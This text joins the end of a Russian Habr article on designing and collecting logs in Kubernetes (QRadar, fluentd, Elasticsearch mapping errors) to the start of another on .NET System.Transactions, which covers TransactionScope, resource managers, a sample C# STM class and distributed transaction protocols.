* Для расследования инцидентов зачастую может хватить оповещения об ошибке и собственно большого локального лога.
* У нас были проекты, которые и вовсе обходились исключительно функциональными тестами и системами сбора ошибок. Разработчику не требовались логи как таковые — они всё видели по трейсам ошибок.
#### Иллюстрация из жизни
Хорошим примером может послужить другая история. К нам пришёл запрос от команды безопасников одного из клиентов, у которого уже использовалось коммерческое решение, что было разработано задолго до внедрения Kubernetes.
Потребовалось «подружить» систему централизованного сбора логов с корпоративным сенсором обнаружения проблем — QRadar. Эта система умеет принимать логи по протоколу syslog, забирать c FTP. Однако интегрировать её с плагином remote\_syslog для fluentd сразу не получилось *(как оказалось, [мы не одни такие](https://developer.ibm.com/answers/questions/429729/using-fluentd-to-streamfilter-data-to-qradar/))*. Проблемы с настройкой QRadar оказались на стороне команды безопасников клиента.
В результате, часть логов, критичных для бизнеса, выгружалась на FTP QRadar, а другая часть — перенаправлялась через remote syslog напрямую с узлов. Для этого мы даже написали [простой chart](https://github.com/flant/examples/tree/master/2019/10-remote-syslog) — возможно, он поможет кому-то решить аналогичную задачу… Благодаря получившейся схеме, сам клиент получал и анализировал критичные логи (с помощью своего любимого инструментария), а мы смогли снизить расходы на систему логирования, сохраняя лишь последний месяц.
Ещё один пример довольно показателен в том, как делать не следует. Один из наших клиентов на обработку *каждого* события, поступающего от пользователя, делал многострочный *неструктурированный вывод* информации в лог. Как легко догадаться, подобные логи было крайне неудобно и читать, и хранить.
### Критерии для логов
Подобные примеры подводят к заключение, что кроме выбора системы сбора логов надо *спроектировать еще и сами логи*! Какие здесь требования?
* Логи должны быть в машиночитаемом формате (например, JSON).
* Логи должны быть компактными и с возможностью изменения степени логирования, чтобы отладить возможные проблемы. При этом в production-окружениях следует запускать системы с уровнем логирования вроде *Warning* или *Error*.
* Логи должны быть нормализованными, то есть в объекте лога все строки должны иметь одинаковый тип поля.
Неструктурированные логи могут привести к проблемам с загрузкой логов в хранилище и полной остановкой их обработки. В качестве иллюстрации — пример с ошибкой 400, с которой многие точно сталкивались в логах fluentd:
`2019-10-29 13:10:43 +0000 [warn]: dump an error event: error_class=Fluent::Plugin::ElasticsearchErrorHandler::ElasticsearchError error="400 - Rejected by Elasticsearch"`
Ошибка означает, что вы отправляете в индекс с готовым mapping’ом поле, тип которого нестабилен. Простейший пример — поле в логе nginx с переменной `$upstream_status`. В нём может быть как число, так и строка. Например:
`{ "ip": "1.2.3.4", "http_user": "-", "request_id": "17ee8a579e833b5ab9843a0aca10b941", "time": "29/Oct/2019:16:18:57 +0300", "method": "GET", "uri": "/staffs/265.png", "protocol": "HTTP/1.1", "status": "200", "body_size": "906", "referrer": "https://example.com/staff", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", "request_time": "0.001", "cache_status": "-", "upstream_response_time": "0.001, 0.007", "upstream_addr": "127.0.0.1:9000", "upstream_status": "200", "upstream_response_length": "906", "location": "staff"}
{ "ip": "1.2.3.4", "http_user": "-", "request_id": "47fe42807f2a7d8d5467511d7d553a1b", "time": "29/Oct/2019:16:18:57 +0300", "method": "GET", "uri": "/staff", "protocol": "HTTP/1.1", "status": "200", "body_size": "2984", "referrer": "-", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", "request_time": "0.010", "cache_status": "-", "upstream_response_time": "0.001, 0.007", "upstream_addr": "10.100.0.10:9000, 10.100.0.11:9000", "upstream_status": "404, 200", "upstream_response_length": "0, 2984", "location": "staff"}`
В логах видно, что сервер 10.100.0.10 ответил 404-й ошибкой и запрос ушел на другое хранилище контента. В результате, в логах значение стало вот таким:
`"upstream_response_time": "0.001, 0.007"`
Данная ситуация настолько распространённая, что удостоилась даже отдельного [упоминания в документации](https://github.com/uken/fluent-plugin-elasticsearch#random-400---rejected-by-elasticsearch-is-occured-why).
#### А что с надёжностью?
Бывают случаи, когда жизненно необходимы все логи без исключения. И с этим у типовых схем сбора логов для K8s, предложенных/рассматриваемых выше, имеются проблемы.
Например, fluentd не может собрать логи с короткоживущих контейнеров. В одном из наших проектов контейнер с миграцией баз данных жил менее 4-х секунд, а затем удалялся — согласно соответствующей аннотации:
`"helm.sh/hook-delete-policy": hook-succeeded`
Из-за этого лог выполнения миграции не попадал в хранилище. Помочь в данном случае может политика `before-hook-creation`.
Другой пример — ротация логов Docker. Допустим, есть приложение, которое активно пишет в логи. В обычных условиях мы успеваем обработать все логи, но как только появляется проблема — например, как была описана выше с неправильным форматом, — обработка останавливается, а Docker ротирует файл. Итог — могут быть потеряны критичные для бизнеса логи.
Именно поэтому **важно разделять потоки логов**, встраивая отправку наиболее ценных напрямую в приложение, чтобы обеспечить их сохранность. Кроме того, не будет лишним создание некоего **«аккумулятора» логов**, который сможет пережить краткую недоступность хранилища при сохранении критичных сообщений.
Наконец, не надо забывать, что **любую подсистему важно качественно мониторить**. Иначе легко столкнуться с ситуацией, в которой fluentd находится в состоянии `CrashLoopBackOff` и ничего не отправляет, а это сулит потерей важной информации.
Выводы
------
В данной статье мы не рассматриваем SaaS-решения вроде Datadog. Многие из описанных здесь проблем так или иначе уже решены коммерческими компаниями, специализирующимися на сборе логов, но не все могут использовать SaaS по разным причинам *(основные — это стоимость и соблюдение 152-ФЗ)*.
Централизованный сбор логов сначала выглядит простой задачей, но вовсе таковой не является. Важно помнить, что:
* Логировать подробно стоит только критичные компоненты, а для остальных систем можно настроить мониторинг и сбор ошибок.
* Логи в production стоит делать минимальными, чтобы не давать лишнюю нагрузку.
* Логи должны быть машиночитаемыми, нормализованными, иметь строгий формат.
* Действительно критичные логи стоит отправлять отдельным потоком, который должен быть отделён от основных.
* Стоит продумать аккумулятор логов, который может спасти от всплесков высокой нагрузки и сделает нагрузку на хранилище более равномерной.
Эти простые правила, если их применять везде, позволили бы работать и описанным выше схемам — даже несмотря на то, что в них не хватает важных компонентов (аккумулятора). Если же не придерживаться таких принципов, задача с лёгкостью приведёт вас и инфраструктуру к ещё одному высоконагруженному (и в то же время малоэффективному) компоненту системы.
P.S.
----
Читайте также в нашем блоге:
* «[Представляем loghouse — Open Source-систему для работы с логами в Kubernetes](https://habr.com/ru/company/flant/blog/341386/)»;
* «[Релизы для Kubernetes-экосистемы с KubeCon'19: JFrog Container Registry, Kui от IBM, Loki 1.0.0…](https://m.habr.com/ru/news/t/476966/)»;
* «[Мониторинг и Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/412901/)». | https://habr.com/ru/post/480946/ | null | ru | null |
# Инфраструктура System.Transactions в мире .NET
Встречали ли вы в C# конструкцию типа `using (var scope = new TransactionScope(TransactionScopeOption.Required))`? Это значит, что код, выполняющийся в блоке `using`, заключается в транзакцию и после выхода из этого блока изменения будут зафиксированы или отменены. Звучит понятно, пока не начинаешь копать глубже. И чем глубже копаешь, тем «страньше и страньше» становится. Во всяком случае, у меня при более близком знакомстве с классом `TransactionScope` и вообще транзакциями .NET возникла целая уйма вопросов.
Что за класс `TransactionScope`? Как только мы используем конструкцию `using (var scope = new TransactionScope())`, все в нашей программе сразу становится транзакционным? Что такое «управляющий ресурсами» (Resource Manager) и «управляющий транзакциями» (Transaction Manager)? Можно ли написать свой управляющий ресурсами и как он «подключается» к созданному экземпляру `TransactionScope`? Что такое распределенная транзакция и правда ли, что распределенная транзакция в SQL Server или Oracle Database — это то же самое, что и распределенная транзакция .NET?
В данной публикации я постарался собрать материал, помогающий найти ответы на указанные вопросы и сформировать понимание транзакций в мире .NET.
**Содержание**[Введение](#Introduction)
[Что такое транзакции и какие проблемы они решают](#Transactions)
[Какие транзакции здесь рассматриваются](#KindsOfTransactions)
[TL;DR по разделу](#TLDR1)
[Транзакции на основе System.Transactions](#SystemTransactions)
[Что это](#WhatIsIt1)
[Управляющие ресурсами](#ResourceManagers)
[Виды управляющих ресурсами](#KindsOfResourceManagers)
[Использование TransactionScope](#TransactionScope)
[Применимость программных транзакций](#Applicability)
[Пример непостоянного управляющего ресурсами](#Example)
[TL;DR по разделу](#TLDR2)
[Распределенные транзакции](#DistributedTransactions)
[Что это](#WhatIsIt2)
[Транзакционные протоколы](#TransactionProtocols)
[Двухфазная фиксация](#TwoPhaseCommit)
[Шпаргалка по интерфейсам System.Transations](#Interfaces)
[Ограничения программных распределенных транзакций и альтернативы](#LimitationsAndAlternatives)
[Так это есть в .NET Core?](#NetCore)
[Распределенные транзакции и WCF](#WCF)
[TL;DR по разделу](#TLDR3)
[Заключение-шпаргалка](#Conclusion)
Введение
--------
#### Что такое транзакции и какие проблемы они решают
Транзакции, о которых здесь идет речь, — это операции, переводящие систему из одного приемлемого состояния в другое и гарантированно не оставляющие систему в неприемлемом состоянии даже при возникновении непредвиденных ситуаций. Что это за приемлемые состояния, в общем случае зависит от контекста. Здесь мы будем считать приемлемой ситуацию, в которой обрабатываемые нами данные целостны. При этом подразумевается, что изменения, составляющие транзакцию, все вместе либо совершаются, либо не совершаются. Кроме того, изменения одной транзакции могут быть изолированы от изменений, вносимых в систему другой транзакцией. Основные требования, предъявляемые к транзакциям, обозначаются аббревиатурой ACID. Для первого знакомства с ними подойдет [статья в «Википедии»](https://ru.wikipedia.org/wiki/ACID).
Классический пример транзакции — перевод денег между двумя счетами. В этой ситуации снятие денег со счета № 1 без зачисления на счет № 2 неприемлемо, точно так же, как и зачисление на счет № 2 без снятия со счета № 1. Другими словами, мы хотим, чтобы обе операции — и снятие, и зачисление — выполнялись сразу. Если же какую-то из них выполнить не удастся, то и вторая операция выполняться не должна. Можно называть этот принцип «все или ничего». Более того, желательно, чтобы операции выполнялись синхронно даже в случае таких системных сбоев, как отключение электроэнергии, то есть чтобы мы видели систему в приемлемом состоянии, как только она станет доступна после восстановления.
В математических терминах можно сказать, что относительно системы существует инвариант, который мы хотели бы обязательно сохранить. Например, сумма на обоих счетах: нужно, чтобы после транзакции (перевода денег) сумма осталась такой же, как и до нее. Кстати, в классическом примере с переводом денег еще и фигурирует учет — предметная область, где естественным образом возникло понятие транзакции.
Проиллюстрируем пример с переводом денег между двумя счетами. На первой картинке изображена ситуация, когда перевод 50 рублей со счета № 1 на счет № 2 завершился успешно. Зеленый цвет подчеркивает, что система находится в приемлемом состоянии (данные целостны).
Теперь представим, что перевод осуществляется вне транзакции и после снятия денег со счета № 1 произошел сбой, из-за которого снятые деньги не были начислены на счет № 2. Система окажется в неприемлемом состоянии (красный цвет).
Если же ошибка произошла между операциями снятия и зачисления, но перевод осуществлялся в рамках одной транзакции, то операция снятия денег будет отменена. В результате система останется в исходном приемлемом состоянии.
Приведу примеры ситуаций из опыта нашей компании, в которых транзакции бывают полезны: учет товаров (учет количества товаров разных видов, которые находятся в определенных хранилищах и в пути), учет ресурсов хранилищ (учет объема помещения, который занимают товары определенного типа, объема помещения, свободного для размещения товаров, количества товаров, которое могут переместить сотрудники и автоматизированные системы хранилища за день).
Проблемы, возникающие при нарушении целостности данных, очевидны. Информация, предоставляемая системой, не просто становится недостоверной — она теряет связь с действительностью и превращается в бессмыслицу.
#### Какие транзакции здесь рассматриваются
Предоставляемые транзакциями выгоды известны. Так что же, для поддержания целостности данных нам нужна реляционная база данных, поскольку именно там делаются транзакции? Не совсем. Выше было сказано, что понятие транзакции зависит от контекста, и сейчас кратко рассмотрим, о каких транзакциях можно говорить при обсуждении информационных систем.
Для начала разделим понятия транзакций предметной области (бизнес-транзакций) и системных транзакций. Вторые могут быть реализованы в разных местах и разными способами.
Зайдем с самого высокого уровня — предметной области. Интересант может объявить, что существуют некоторые приемлемые состояния и он не желает видеть информационную систему вне этих состояний. Не будем придумывать лишних примеров: перевод денег между счетами здесь подходит. Только уточним, что перевод — это не обязательно перевод денег между расчетными счетами двух клиентов банков. Не менее важна и задача бухгалтерского учета, когда счета должны отражать источники и предназначение средств организации, а перевод — изменение распределения средств по этим источникам и предназначению. Это был пример **транзакции предметной области**.
Теперь посмотрим самые распространенные и интересные примеры реализации системных транзакций. В системных транзакциях разными техническими средствами обеспечиваются требования предметной области. Классическим проверенным решением такого рода являются **транзакции реляционных СУБД** (первый пример). Современные системы управления БД (как реляционными, [так и не очень](https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCOS_tp)) предоставляют механизм транзакций, который позволяет или сохранить (зафиксировать) все сделанные за указанный период работы изменения, или отказаться от них (откатить). При использовании такого механизма операции снятия денег с одного счета и зачисления на другой счет, составляющие транзакцию предметной области, средствами СУБД будут объединены в системную транзакцию и либо выполнятся вместе, либо не выполнятся вовсе.
Пользоваться СУБД, конечно, не обязательно. Грубо говоря, можно вообще реализовать механизм транзакций СУБД на своем любимом языке программирования и наслаждаться неустойчивым и заваленным ошибками аналогом существующих инструментов. Зато ваш «велосипед» может быть оптимизирован для конкретных ситуаций предметной области.
Есть и более интересные варианты. Современные промышленные языки программирования (C# и Java в первую очередь) предлагают средства, предназначенные специально для организации транзакций с участием совершенно разных подсистем, а не только СУБД. В данной публикации будем называть такие транзакции программными. В случае C# это **транзакции из пространства имен System.Transactions** (второй пример), именно о них и рассказывается ниже.
Прежде чем перейти к транзакциям `System.Transactions`, нельзя не упомянуть еще одно интересное явление. Средства `System.Transactions` позволяют программисту самостоятельно реализовать [программную транзакционную память](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%B0%D1%8F_%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C). В этом случае программные операции, влияющие на состояние системы (в случае классических императивных языков программирования это операция присваивания), по умолчанию включаются в транзакции, которые можно фиксировать и откатывать почти так же, как и транзакции СУБД. При таком подходе необходимость использовать механизмы синхронизации (в C# — `lock`, в Java — `synchronized`) значительно снижается. Дальнейшим развитием этой идеи является **программная транзакционная память, поддерживаемая на уровне платформы** (третий пример). Такое чудо ожидаемо обнаруживается в языке, изящность которого превосходит его промышленную применимость, — Clojure. А для рабоче-крестьянских языков существуют подключаемые библиотеки, предоставляющие функциональность программной транзакционной памяти.
Системные транзакции могут включать несколько информационных систем, в таком случае они становятся распределенными. Распределенными могут быть и транзакции СУБД, и программные; все зависит от того, какую функциональность поддерживает конкретное средство реализации транзакции. Подробнее распределенные транзакции рассматриваются в соответствующем разделе. Приведу картинку, чтобы было легче разобраться в обсуждаемых предметах.
#### TL;DR по разделу
Существуют процессы, которые состоят из нескольких неделимых (атомарных) операций, применяемых к системе, в общем случае не обязательно информационной. Каждая неделимая операция может оставить систему в неприемлемом состоянии, когда целостность данных нарушается. Например, если перевод денег между двумя счетами представлен двумя неделимыми операциями снятия со счета № 1 и зачисления на счет № 2, то выполнение только одной из этих операций нарушит целостность данных. Деньги или пропадут неизвестно куда, или появятся неизвестно откуда. Транзакция объединяет неделимые операции так, чтобы они выполнялись все вместе (разумеется, последовательно, если это необходимо) или не выполнялись вообще. Можно говорить о транзакциях предметной области и о транзакциях в технических системах, которые обычно реализуют транзакции предметной области.
Транзакции на основе System.Transactions
----------------------------------------
#### Что это
В мире .NET существует программный каркас, предназначенный создателями платформы для управления транзакциями. С точки зрения программиста, пользующегося транзакциями, этот каркас состоит из типов `TransactionScope`, `TransactionScopeOption`, `TransactionScopeAsyncFlowOption` и `TransactionOptions` пространства имен `System.Transactions`. Если говорить про .NET Standard, то все это доступно начиная с [версии 2.0](https://github.com/dotnet/standard/blob/master/docs/versions/netstandard2.0.md).
Транзакции из пространства имен `System.Transactions` основываются на [стандарте X/Open XA от консорциума The Open Group](http://pubs.opengroup.org/onlinepubs/009680699/toc.pdf). В этом стандарте вводятся многие термины, обсуждаемые далее, и, главное, описываются распределенные транзакции, которым в данной публикации также посвящен специальный раздел. На этом же стандарте основываются реализации программных транзакций и в других платформах, например [в Java](https://ru.wikipedia.org/wiki/Java_Transaction_API).
Типовой сценарий использования транзакций для программиста C# следующий:
```
using (var scope = new System.Transactions.TransactionScope(System.Transactions.TransactionScopeOption.Required))
{
// Какой-то транзакционный код, например работа с СУБД.
scope.Complete();
}
```
Внутри блока `using` помещается код, выполняющий работу, результаты которой должны быть зафиксированы или отменены все вместе. Классические примеры такой работы — это чтение и запись в БД или отправка и получение сообщений из очереди. Когда управление покинет блок `using`, транзакция будет зафиксирована. Если убрать вызов `Complete`, то транзакция откатится. Довольно просто.
Получается, что во время отката транзакции все операции, сделанные внутри такого блока `using`, будут отменены? И если я присвоил какой-нибудь переменной другое значение, то у этой переменной восстановится старое значение? Когда я впервые увидел подобную конструкцию, то так и подумал. На самом деле, конечно, откатятся не все изменения, а только очень *особенные*. Если бы откатывались вообще все изменения, то это и было бы программной транзакционной памятью, описанной выше. А сейчас посмотрим, что это за особенные изменения, которые могут участвовать в программных транзакциях на основе `System.Transactions`.
#### Управляющие ресурсами
Чтобы нечто поддерживало транзакции на основе `System.Transactions`, нужно, чтобы оно обладало информацией о том, что в данный момент идет транзакционная работа, и чтобы оно регистрировалось в каком-то реестре участников транзакции. Получить информацию о том, идет ли транзакционная работа, можно, проверив статическое свойство `Current` класса `System.Transactions.Transaction`. Вход в блок `using` указанного выше вида как раз устанавливает это свойство, если оно не было установлено раньше. А чтобы зарегистрироваться как участник транзакции, можно использовать методы типа `Transaction.Enlist*Smth*`. Кроме этого, нужно реализовать интерфейс, требуемый данными методами. Управляющий ресурсами (Resource Manager) — это именно такое «нечто», поддерживающее взаимодействие с транзакциями из `System.Transactions` (более конкретное определение дано ниже).
Какие бывают управляющие ресурсами? Если мы работаем из C# с СУБД, например SQL Server или Oracle Database, то обычно пользуемся соответствующими драйверами, а они и являются управляющими ресурсами. В коде они представляются типами `System.Data.SqlClient.SqlConnection` и `Oracle.ManagedDataAccess.Client.OracleConnection`. Еще, [говорят](http://fukyo-it.blogspot.com/2012/02/truly-understanding-net-transactions.html), MSMQ поддерживает транзакции на основе `System.Transactions`. Руководствуясь знаниями и примерами, почерпнутыми из интернета, можно создать и собственный управляющий ресурсами. Простейший пример приведен в следующем разделе.
Кроме управляющих ресурсами, у нас должен быть еще управляющий транзакциями (Transaction Manager), который будет следить за транзакцией и своевременно отдавать распоряжения управляющим ресурсами. В зависимости от того, какие управляющие ресурсами участвуют в транзакции (какие у них характеристики и где они расположены), к работе подключаются разные управляющие транзакциями. При этом выбор подходящей версии происходит автоматически и не требует вмешательства программиста.
Если говорить конкретнее, то управляющий ресурсами — это экземпляр класса, реализующего специальный интерфейс `System.Transactions.IEnlistmentNotification`. Экземпляр класса по указанию клиента регистрируется как участник транзакции, пользуясь статическим свойством `System.Transactions.Transaction.Current`. В дальнейшем управляющий транзакциями по мере необходимости вызывает методы указанного интерфейса.
Ясно, что во время выполнения может изменяться набор управляющих ресурсами, участвующих в транзакции. Например, после входа в блок `using` мы можем сначала сделать что-то в SQL Server, а потом — в Oracle Database. В зависимости от такого набора управляющих ресурсами и определяется используемый управляющий транзакциями. Если быть точнее, то по набору управляющих ресурсами определяется используемый транзакционный протокол, а уже на основе протокола определяется поддерживающий его управляющий транзакциями. Транзакционные протоколы мы рассмотрим [позже](#TransactionProtocols), когда будем говорить о распределенных транзакциях. Механизм автоматического выбора подходящего управляющего транзакциями во время выполнения при изменении участвующих в транзакции управляющих ресурсами называется продвижением транзакции (Transaction Promotion).
#### Виды управляющих ресурсами
Управляющие ресурсами можно разделить на две большие группы: долговечные и непостоянные.
Долговечный управляющий ресурсами (Durable Resource Manager) — управляющий ресурсами, который поддерживает транзакцию даже в случае недоступности информационной системы (например, при перезапуске компьютера). Непостоянный управляющий ресурсами (Volatile Resource Manager) — управляющий ресурсами, который не поддерживает транзакцию в случае недоступности информационной системы. Непостоянный управляющий ресурсами поддерживает транзакции только в оперативной памяти.
Классические долговечные управляющие ресурсами — это СУБД (или драйвер СУБД для программной платформы). Что бы ни произошло — хоть сбой в работе операционной системы, хоть отключение электроэнергии, — СУБД будет гарантировать целостность данных после того, как она снова придет в рабочее состояние. За это, разумеется, приходится платить некоторыми неудобствами, но в данной статье мы их рассматривать не будем. Пример непостоянного управляющего ресурсами — упомянутая выше программная транзакционная память.
#### Использование TransactionScope
При создании объекта типа `TransactionScope` можно указывать некоторые параметры.
Во-первых, есть настройка, сообщающая среде выполнения о том, что нужно:
1. пользоваться уже существующей к этому моменту транзакцией;
2. обязательно создавать новую;
3. наоборот, выполнять код внутри блока `using` вне транзакции.
За все это отвечает перечисление `System.Transactions.TransactionScopeOption`.
Во-вторых, можно задать уровень изоляции транзакции. Это параметр, который позволяет найти компромисс между независимостью изменений и скоростью работы. Самый независимый уровень — сериализуемый — гарантирует, что не существует таких ситуаций, когда изменения, внесенные в рамках одной еще не зафиксированной транзакции, можно увидеть в другой транзакции. Каждый следующий уровень добавляет по одной такой конкретной ситуации, когда одновременно выполняющиеся транзакции могут влиять друг на друга. По умолчанию транзакция открывается на сериализуемом уровне, что может быть неприятно (см., например, [этот комментарий](https://habr.com/company/custis/blog/433136/#comment_19531318)).
Настройка уровня изоляции транзакции при создании `TransactionScope` носит рекомендательный характер для управляющих ресурсами. Они могут даже не поддерживать все уровни, представленные в перечислении `System.Transactions.IsolationLevel`. Кроме того, надо учитывать, что при использовании пула соединений для работы с БД соединение, для которого был изменён уровень изоляции транзакции, по возвращении в пул [сохранит этот уровень](https://yarfullstack.com/post/2017-03/isolation-level-and-connection-pool/). Теперь, когда программист получит это соединение из пула и положится на значения по умолчанию, он будет наблюдать неожиданное поведение.
Типовые сценарии работы c `TransactionScope` и существенные подводные камни (а именно вложенные транзакции) хорошо освещены в [этой статье на «Хабре»](https://habr.com/post/115480/).
#### Применимость программных транзакций
Следует сказать, что почти в любой информационной системе, находящейся в промышленной эксплуатации, запускаются процессы, которые могут привести систему в неприемлемое состояние. Поэтому бывает необходимо контролировать эти процессы, выяснять, является ли текущее состояние системы приемлемым, и, если нет, восстанавливать его. Программные транзакции — готовый инструмент для поддержания системы в приемлемом состоянии.
В каждом конкретном случае конструктивно было бы рассматривать стоимость:
1. интеграции процессов в инфраструктуру программных транзакций (нужно, чтобы эти процессы знали о `TransactionScope` и о многих других вещах);
2. поддержания этой инфраструктуры (например, стоимость аренды оборудования с Windows на борту);
3. обучения сотрудников (так как тема транзакций .NET мало распространена).
Нельзя забывать и о том, что от транзакционного процесса может потребоваться сообщать о своем прогрессе «внешнему миру», например вести журнал действий вне транзакции.
Очевидно, отказ от программных транзакций потребует создания или внедрения какого-то другого средства поддержания целостности данных, которое также будет иметь свою стоимость. В конце концов, возможны случаи, когда нарушения целостности данных так редки, что проще восстанавливать приемлемое состояние системы оперативными вмешательствами, чем поддерживать механизм автоматического восстановления.
#### Пример непостоянного управляющего ресурсами
Сейчас рассмотрим пример простейшего управляющего ресурсами, не поддерживающего восстановление после системного сбоя. У нас будет блок программной транзакционной памяти, хранящий некоторое значение, которое можно читать и перезаписывать. В отсутствие транзакции этот блок ведет себя как обычная переменная, а при наличии транзакции он сохраняет начальное значение, которое может быть восстановлено после отката транзакции. Код такого управляющего ресурсами представлен далее:
```
internal sealed class Stm : System.Transactions.IEnlistmentNotification {
private T \_current;
private T \_original;
private bool \_enlisted;
public T Value {
get { return \_current; }
set {
if (!Enlist()) {
\_original = value;
}
\_current = value;
}
}
public Stm(T value) {
\_current = value;
\_original = value;
}
private bool Enlist() {
if (\_enlisted)
return true;
var currentTx = System.Transactions.Transaction.Current;
if (currentTx == null)
return false;
currentTx.EnlistVolatile(this, System.Transactions.EnlistmentOptions.None);
\_enlisted = true;
return true;
}
#region IEnlistmentNotification
public void Commit(System.Transactions.Enlistment enlistment) {
\_original = \_current;
\_enlisted = false;
}
public void InDoubt(System.Transactions.Enlistment enlistment) {
\_enlisted = false;
}
public void Prepare(System.Transactions.PreparingEnlistment preparingEnlistment) {
preparingEnlistment.Prepared();
}
public void Rollback(System.Transactions.Enlistment enlistment) {
\_current = \_original;
\_enlisted = false;
}
#endregion IEnlistmentNotification
}
```
Видно, что единственным формальным требованием является реализация интерфейса `System.Transactions.IEnlistmentNotification`. Из интересного стоит отметить методы `Enlist` (не являющиеся частью `System.Transactions.IEnlistmentNotification`) и `Prepare`. Метод `Enlist` как раз проверяет, работает ли данный код в рамках транзакции, и, если да, регистрирует экземпляр своего класса в качестве непостоянного управляющего ресурсами. Метод `Prepare` вызывается управляющим транзакциями перед фиксацией изменений. Наш управляющий ресурсами сигнализирует о своей готовности к фиксации, вызывая метод `System.Transactions.PreparingEnlistment.Prepared`.
Дальше приведен код, показывающий пример использования нашего управляющего ресурсами:
```
var stm = new Stm(1);
using (var scope = new System.Transactions.TransactionScope(System.Transactions.TransactionScopeOption.Required)) {
stm.Value = 2;
scope.Complete();
}
```
Если сразу после выхода из блока `using` прочитать свойство `stm.Value`, то там ожидаемо будет установленное значение `2`. А если убрать вызов `scope.Complete`, то транзакция откатится и в свойстве `stm.Value` будет значение `1`, заданное до начала транзакции.
Упрощенно последовательность вызовов при работе с транзакциями `System.Transactions` показана на приведенной ниже диаграмме.
Видно, что в данном примере рассмотрены не все возможности, предоставляемые инфраструктурой `System.Transactions`. Более полно мы рассмотрим их после того, как познакомимся с транзакционными протоколами и распределенными транзакциями в следующем разделе.
#### TL;DR по разделу
Программист может использовать класс `TransactionScope` для того, чтобы выполнить некоторый код в рамках имеющейся или новой транзакции. Транзакция фиксируется тогда и только тогда, когда у имеющегося экземпляра класса `TransactionScope` вызывается метод `Dispose`, при том что перед этим у него был вызван метод `Complete`. Программист может указывать, желает ли он непременно начать новую транзакцию, воспользоваться уже имеющейся или, наоборот, выполнить код вне имеющейся транзакции. В транзакции участвуют только управляющие ресурсами — программные компоненты, реализующие определенную функциональность. Управляющие ресурсами могут быть долговечными (восстанавливающимися после сбоя системы) и непостоянными (не восстанавливающимися). СУБД — пример долговечного управляющего ресурсами. Координацией управляющих ресурсами занимается управляющий транзакциями — программный компонент, который выбирается исполняющей средой автоматически, без участия программиста.
Непостоянный управляющий ресурсами — это класс, реализующий интерфейс `System.Transactions.IEnlistmentNotification` и в методе `Prepare` подтверждающий свою готовность к фиксации изменений или, наоборот, сигнализирующий об откате изменений. Когда вызывающая сторона что-то делает с управляющим ресурсами, он проверяет, открыта ли сейчас транзакция, и, если открыта, регистрируется с помощью метода `System.Transactions.Transaction.EnlistVolatile`.
Распределенные транзакции
-------------------------
#### Что это
Распределенная транзакция задействует несколько информационных подсистем (на самом деле не все так просто, ниже об этом рассказано подробнее). Подразумевается, что изменения во всех системах, участвующих в распределенной транзакции, должны или фиксироваться, или откатываться.
Выше были представлены разные средства реализации транзакций: СУБД, инфраструктура `System.Transactions`, встроенная в платформу программная транзакционная память. Этими инструментами могут обеспечиваться и распределенные транзакции. Например, в СУБД Oracle Database изменение (а на самом деле и чтение) данных в нескольких БД в рамках одной транзакции автоматически превращает ее в распределенную. Далее же пойдет речь о программных распределенных транзакциях, которые могут включать разнородные управляющие ресурсами.
#### Транзакционные протоколы
Транзакционный протокол — набор принципов, по которым взаимодействуют участвующие в транзакции приложения. В мире .NET чаще всего встречаются следующие протоколы.
**Lightweight.** Используется не более одного долговечного управляющего ресурсами. Все транзакционные взаимодействия происходят внутри одного домена приложений, либо управляющий ресурсами поддерживает продвижение и однофазную фиксацию (реализует `IPromotableSinglePhaseNotification`).
**OleTx.** Допускается взаимодействие между несколькими доменами-приложениями и несколькими компьютерами. Допускается использование множества долговечных управляющих ресурсами. Все участвующие компьютеры должны находиться под управлением Windows. Используется удаленный вызов процедуры (Remote Procedure Calls, RPCs).
**WS-AT.** Допускается взаимодействие между несколькими доменами-приложениями и несколькими компьютерами. Допускается использование множества долговечных управляющих ресурсами. Участвующие компьютеры могут находиться под управлением различных ОС, не только Windows. Используется протокол передачи гипертекста (Hypertext Transmission Protocol, HTTP).
Выше было отмечено, что действующий транзакционный протокол влияет на выбор управляющего транзакциями, а на выбор протокола влияют характеристики управляющих ресурсов, участвующих в транзакции. Теперь перечислим известные управляющие транзакциями.
**Lightweight Transaction Manager (LTM)**. Представлен в .NET Framework 2.0 и в более поздних версиях. Управляет транзакциями, использующими протокол Lightweight.
**Kernel Transaction Manager (KTM)**. Представлен в Windows Vista и Windows Server 2008. Управляет транзакциями, использующими протокол Lightweight. Может вызывать транзакционную файловую систему (Transactional File System, TxF) и транзакционный реестр (Transactional Registry, TxR) в Windows Vista и Windows 2008.
**Distributed Transaction Coordinator (MSDTC)**. Управляет транзакциями, использующими протоколы OleTx и WS-AT.
Нужно также иметь в виду, что часть управляющих ресурсами не поддерживает все перечисленные протоколы. Например, MSMQ и SQL Server 2000 не поддерживают Lightweight, поэтому транзакции с участием MSMQ или SQL Server 2000 будут управляться MSDTC, даже если они являются единственными участниками. Технически это ограничение возникает от того, что указанные управляющие ресурсами, реализуя, конечно, интерфейс `System.Transactions.IEnlistmentNotification`, не реализуют интерфейс `System.Transactions.IPromotableSinglePhaseNotification`. В нем есть, кроме прочего, метод `Promote`, который исполняющая среда вызывает при необходимости перейти на более «крутой» управляющий транзакциями.
Сейчас должна стать очевидной неоднозначность понятия распределенной транзакции. Например, можно определять распределенную транзакцию как транзакцию, в которой участвует:
1. не менее двух любых управляющих ресурсами;
2. сколько угодно непостоянных управляющих ресурсами и не менее двух долговечных;
3. не менее двух любых управляющих ресурсами, обязательно расположенных на разных компьютерах.
Поэтому лучше всегда уточнять, о каких именно транзакциях идет речь.
